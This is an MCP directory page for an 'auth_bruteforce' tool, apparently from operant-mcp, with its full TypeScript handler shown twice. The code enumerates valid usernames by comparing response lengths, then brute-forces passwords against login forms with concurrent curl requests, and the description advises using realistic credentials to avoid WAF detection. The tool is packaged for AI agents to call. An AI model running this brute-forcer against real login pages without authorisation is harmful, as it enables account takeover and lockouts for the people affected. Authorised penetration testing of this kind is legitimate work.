Skip to main content
Glama

auth_bruteforce

Test login security by enumerating valid usernames and brute-forcing passwords against web authentication forms to identify weak credentials.

Instructions

Username enumeration and credential brute-force.

First enumerates valid usernames (if failure messages differ), then brute-forces passwords against confirmed usernames.

Returns: {"username_enumeration": [{"username": str, "exists": bool}], "valid_credentials": [{"username": str, "password": str}], "requests_sent": int}.

Side effects: Sends login requests. May trigger account lockout.

Errors: Rate limiting may block requests. Use realistic credentials to avoid WAF detection.

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
urlYesLogin form URL
usernamesYesUsernames to test
passwordsYesPasswords to test
username_fieldNoForm field name for username
password_fieldNoForm field name for password
methodNoHTTP method
success_indicatorNoString in response that indicates success (e.g. 'dashboard', 'welcome')
failure_indicatorNoString in response that indicates failure (e.g. 'invalid', 'incorrect')
content_typeNoRequest content type
concurrentNoConcurrent requests

Implementation Reference

  • The handler function that executes the `auth_bruteforce` tool logic, including username enumeration and password testing.
    async ({
      url,
      usernames,
      passwords,
      username_field = "username",
      password_field = "password",
      method = "POST",
      success_indicator,
      failure_indicator,
      content_type = "form",
      concurrent = 3,
    }) => {
      requireTool("curl");
    
      // Phase 1: Username enumeration
      const enumResults: Array<{
        username: string;
        status: number;
        response_length: number;
        response_snippet: string;
        likely_exists?: boolean | null;
      }> = [];
      const responseLengths: Record<string, number> = {};
    
      for (const user of usernames) {
        let curlArgs: string[];
        if (content_type === "json") {
          const data = JSON.stringify({
            [username_field]: user,
            [password_field]: "definitely_wrong_12345",
          });
          curlArgs = [
            "-sk",
            "-o",
            "-",
            "-w",
            "\n__META__%{http_code}:%{size_download}",
            "-X",
            "POST",
            "-H",
            "Content-Type: application/json",
            "-d",
            data,
            url,
          ];
        } else {
          curlArgs = [
            "-sk",
            "-o",
            "-",
            "-w",
            "\n__META__%{http_code}:%{size_download}",
            "-X",
            method,
            "-d",
            `${username_field}=${user}&${password_field}=definitely_wrong_12345`,
            url,
          ];
        }
    
        const res = await runCmd("curl", curlArgs);
        let body = res.stdout;
        const metaMarker = body.lastIndexOf("__META__");
        let status = 0;
        let length = 0;
        if (metaMarker !== -1) {
          const meta = body.slice(metaMarker + 8).trim();
          const parts = meta.split(":");
          status = parts[0] ? parseInt(parts[0], 10) : 0;
          length = parts[1] ? parseInt(parts[1], 10) : 0;
          body = body.slice(0, metaMarker);
        }
    
        responseLengths[user] = length;
        enumResults.push({
          username: user,
          status,
          response_length: length,
          response_snippet: body.slice(0, 200),
        });
      }
    
      // Detect enumeration: if response lengths vary, some usernames likely exist
      const lengths = Object.values(responseLengths);
      if (new Set(lengths).size > 1) {
        // Most common length is the "user not found" length
        const freq: Record<number, number> = {};
        for (const l of lengths) {
          freq[l] = (freq[l] ?? 0) + 1;
        }
        const commonLength = Number(
          Object.entries(freq).sort((a, b) => b[1] - a[1])[0][0]
        );
        for (const entry of enumResults) {
          entry.likely_exists = entry.response_length !== commonLength;
        }
      } else {
        for (const entry of enumResults) {
          entry.likely_exists = null; // Can't determine
        }
      }
    
      // Phase 2: Credential brute-force
      const validCreds: Array<{
        username: string;
        password: string;
        status: number;
      }> = [];
      let requestsSent = usernames.length;
      let failureIndicatorFound = false;
    
      async function tryCred(
        user: string,
        passwd: string
      ): Promise<{ username: string; password: string; status: number } | null> {
        let curlArgs: string[];
        if (content_type === "json") {
          const data = JSON.stringify({
            [username_field]: user,
            [password_field]: passwd,
          });
          curlArgs = [
            "-sk",
            "-o",
            "-",
            "-w",
            "\n__META__%{http_code}:%{size_download}:%{redirect_url}",
            "-X",
            "POST",
            "-H",
            "Content-Type: application/json",
            "-d",
            data,
            url,
          ];
        } else {
          curlArgs = [
            "-sk",
            "-o",
            "-",
            "-w",
            "\n__META__%{http_code}:%{size_download}:%{redirect_url}",
            "-X",
            method,
            "-d",
            `${username_field}=${user}&${password_field}=${passwd}`,
            url,
          ];
        }
    
        const res = await runCmd("curl", curlArgs);
        let body = res.stdout;
        const metaMarker = body.lastIndexOf("__META__");
        let status = 0;
        let redirect = "";
        if (metaMarker !== -1) {
          const meta = body.slice(metaMarker + 8).trim();
          const parts = meta.split(":");
          status = parts[0] ? parseInt(parts[0], 10) : 0;
          redirect = parts[2] ?? "";
          body = body.slice(0, metaMarker);
        }
    
        // Check success/failure
        let isSuccess = false;
        if (success_indicator && body.toLowerCase().includes(success_indicator.toLowerCase())) {
          isSuccess = true;
        } else if (failure_indicator) {
          if (body.toLowerCase().includes(failure_indicator.toLowerCase())) {
            failureIndicatorFound = true;
          } else {
            isSuccess = true;
          }
        } else if ([301, 302, 303].includes(status) && redirect) {
          isSuccess = true;
        }
    
        if (isSuccess) {
          return { username: user, password: passwd, status };
        }
        return null;
      }
    
      // Brute-force in batches
      const tasks: Array<[string, string]> = [];
      for (const user of usernames) {
        for (const passwd of passwords) {
          tasks.push([user, passwd]);
        }
      }
    
      for (let i = 0; i < tasks.length; i += concurrent) {
        const batch = tasks.slice(i, i + concurrent);
        const batchResults = await Promise.all(
          batch.map(([u, p]) => tryCred(u, p))
        );
        requestsSent += batch.length;
        for (const result of batchResults) {
          if (result) {
            validCreds.push(result);
          }
        }
      }
    
      const result: Record<string, unknown> = {
        username_enumeration: enumResults,
        valid_credentials: validCreds,
        requests_sent: requestsSent,
      };
    
      if (failure_indicator && !failureIndicatorFound) {
        result["warning"] =
          "failure_indicator not found in any response - results may be unreliable";
      }
    
      return { content: [{ type: "text", text: JSON.stringify(result) }] };
    }
  • The MCP tool registration block for `auth_bruteforce` in `src/tools/auth.ts`.
    server.tool(
      "auth_bruteforce",
      "Username enumeration and credential brute-force.\n\nFirst enumerates valid usernames (if failure messages differ), then brute-forces passwords against confirmed usernames.\n\nReturns: {\"username_enumeration\": [{\"username\": str, \"exists\": bool}], \"valid_credentials\": [{\"username\": str, \"password\": str}], \"requests_sent\": int}.\n\nSide effects: Sends login requests. May trigger account lockout.\n\nErrors: Rate limiting may block requests. Use realistic credentials to avoid WAF detection.",
      {
        url: z.string().describe("Login form URL"),
        usernames: z
          .array(z.string())
          .min(1)
          .max(50)
          .describe("Usernames to test"),
        passwords: z
          .array(z.string())
          .min(1)
          .max(100)
          .describe("Passwords to test"),
        username_field: z
          .string()
          .describe("Form field name for username")
          .optional(),
        password_field: z
          .string()
          .describe("Form field name for password")
          .optional(),
        method: z
          .enum(["POST", "GET"])
          .describe("HTTP method")
          .optional(),
        success_indicator: z
          .string()
          .optional()
          .describe(
            "String in response that indicates success (e.g. 'dashboard', 'welcome')"
          ),
        failure_indicator: z
          .string()
          .optional()
          .describe(
            "String in response that indicates failure (e.g. 'invalid', 'incorrect')"
          ),
        content_type: z
          .enum(["form", "json"])
          .describe("Request content type")
          .optional(),
        concurrent: z
          .number()
          .min(1)
          .max(10)
          .describe("Concurrent requests")
          .optional(),
      },
      async ({
        url,
        usernames,
        passwords,
        username_field = "username",
        password_field = "password",
        method = "POST",
        success_indicator,
        failure_indicator,
        content_type = "form",
        concurrent = 3,
      }) => {
        requireTool("curl");
    
        // Phase 1: Username enumeration
        const enumResults: Array<{
          username: string;
          status: number;
          response_length: number;
          response_snippet: string;
          likely_exists?: boolean | null;
        }> = [];
        const responseLengths: Record<string, number> = {};
    
        for (const user of usernames) {
          let curlArgs: string[];
          if (content_type === "json") {
            const data = JSON.stringify({
              [username_field]: user,
              [password_field]: "definitely_wrong_12345",
            });
            curlArgs = [
              "-sk",
              "-o",
              "-",
              "-w",
              "\n__META__%{http_code}:%{size_download}",
              "-X",
              "POST",
              "-H",
              "Content-Type: application/json",
              "-d",
              data,
              url,
            ];
          } else {
            curlArgs = [
              "-sk",
              "-o",
              "-",
              "-w",
              "\n__META__%{http_code}:%{size_download}",
              "-X",
              method,
              "-d",
              `${username_field}=${user}&${password_field}=definitely_wrong_12345`,
              url,
            ];
          }
    
          const res = await runCmd("curl", curlArgs);
          let body = res.stdout;
          const metaMarker = body.lastIndexOf("__META__");
          let status = 0;
          let length = 0;
          if (metaMarker !== -1) {
            const meta = body.slice(metaMarker + 8).trim();
            const parts = meta.split(":");
            status = parts[0] ? parseInt(parts[0], 10) : 0;
            length = parts[1] ? parseInt(parts[1], 10) : 0;
            body = body.slice(0, metaMarker);
          }
    
          responseLengths[user] = length;
          enumResults.push({
            username: user,
            status,
            response_length: length,
            response_snippet: body.slice(0, 200),
          });
        }
    
        // Detect enumeration: if response lengths vary, some usernames likely exist
        const lengths = Object.values(responseLengths);
        if (new Set(lengths).size > 1) {
          // Most common length is the "user not found" length
          const freq: Record<number, number> = {};
          for (const l of lengths) {
            freq[l] = (freq[l] ?? 0) + 1;
          }
          const commonLength = Number(
            Object.entries(freq).sort((a, b) => b[1] - a[1])[0][0]
          );
          for (const entry of enumResults) {
            entry.likely_exists = entry.response_length !== commonLength;
          }
        } else {
          for (const entry of enumResults) {
            entry.likely_exists = null; // Can't determine
          }
        }
    
        // Phase 2: Credential brute-force
        const validCreds: Array<{
          username: string;
          password: string;
          status: number;
        }> = [];
        let requestsSent = usernames.length;
        let failureIndicatorFound = false;
    
        async function tryCred(
          user: string,
          passwd: string
        ): Promise<{ username: string; password: string; status: number } | null> {
          let curlArgs: string[];
          if (content_type === "json") {
            const data = JSON.stringify({
              [username_field]: user,
              [password_field]: passwd,
            });
            curlArgs = [
              "-sk",
              "-o",
              "-",
              "-w",
              "\n__META__%{http_code}:%{size_download}:%{redirect_url}",
              "-X",
              "POST",
              "-H",
              "Content-Type: application/json",
              "-d",
              data,
              url,
            ];
          } else {
            curlArgs = [
              "-sk",
              "-o",
              "-",
              "-w",
              "\n__META__%{http_code}:%{size_download}:%{redirect_url}",
              "-X",
              method,
              "-d",
              `${username_field}=${user}&${password_field}=${passwd}`,
              url,
            ];
          }
    
          const res = await runCmd("curl", curlArgs);
          let body = res.stdout;
          const metaMarker = body.lastIndexOf("__META__");
          let status = 0;
          let redirect = "";
          if (metaMarker !== -1) {
            const meta = body.slice(metaMarker + 8).trim();
            const parts = meta.split(":");
            status = parts[0] ? parseInt(parts[0], 10) : 0;
            redirect = parts[2] ?? "";
            body = body.slice(0, metaMarker);
          }
    
          // Check success/failure
          let isSuccess = false;
          if (success_indicator && body.toLowerCase().includes(success_indicator.toLowerCase())) {
            isSuccess = true;
          } else if (failure_indicator) {
            if (body.toLowerCase().includes(failure_indicator.toLowerCase())) {
              failureIndicatorFound = true;
            } else {
              isSuccess = true;
            }
          } else if ([301, 302, 303].includes(status) && redirect) {
            isSuccess = true;
          }
    
          if (isSuccess) {
            return { username: user, password: passwd, status };
          }
          return null;
        }
    
        // Brute-force in batches
        const tasks: Array<[string, string]> = [];
        for (const user of usernames) {
          for (const passwd of passwords) {
            tasks.push([user, passwd]);
          }
        }
    
        for (let i = 0; i < tasks.length; i += concurrent) {
          const batch = tasks.slice(i, i + concurrent);
          const batchResults = await Promise.all(
            batch.map(([u, p]) => tryCred(u, p))
          );
          requestsSent += batch.length;
          for (const result of batchResults) {
            if (result) {
              validCreds.push(result);
            }
          }
        }
    
        const result: Record<string, unknown> = {
          username_enumeration: enumResults,
          valid_credentials: validCreds,
          requests_sent: requestsSent,
        };
    
        if (failure_indicator && !failureIndicatorFound) {
          result["warning"] =
            "failure_indicator not found in any response - results may be unreliable";
        }
    
        return { content: [{ type: "text", text: JSON.stringify(result) }] };
      }
    );

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/operantlabs/operant-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server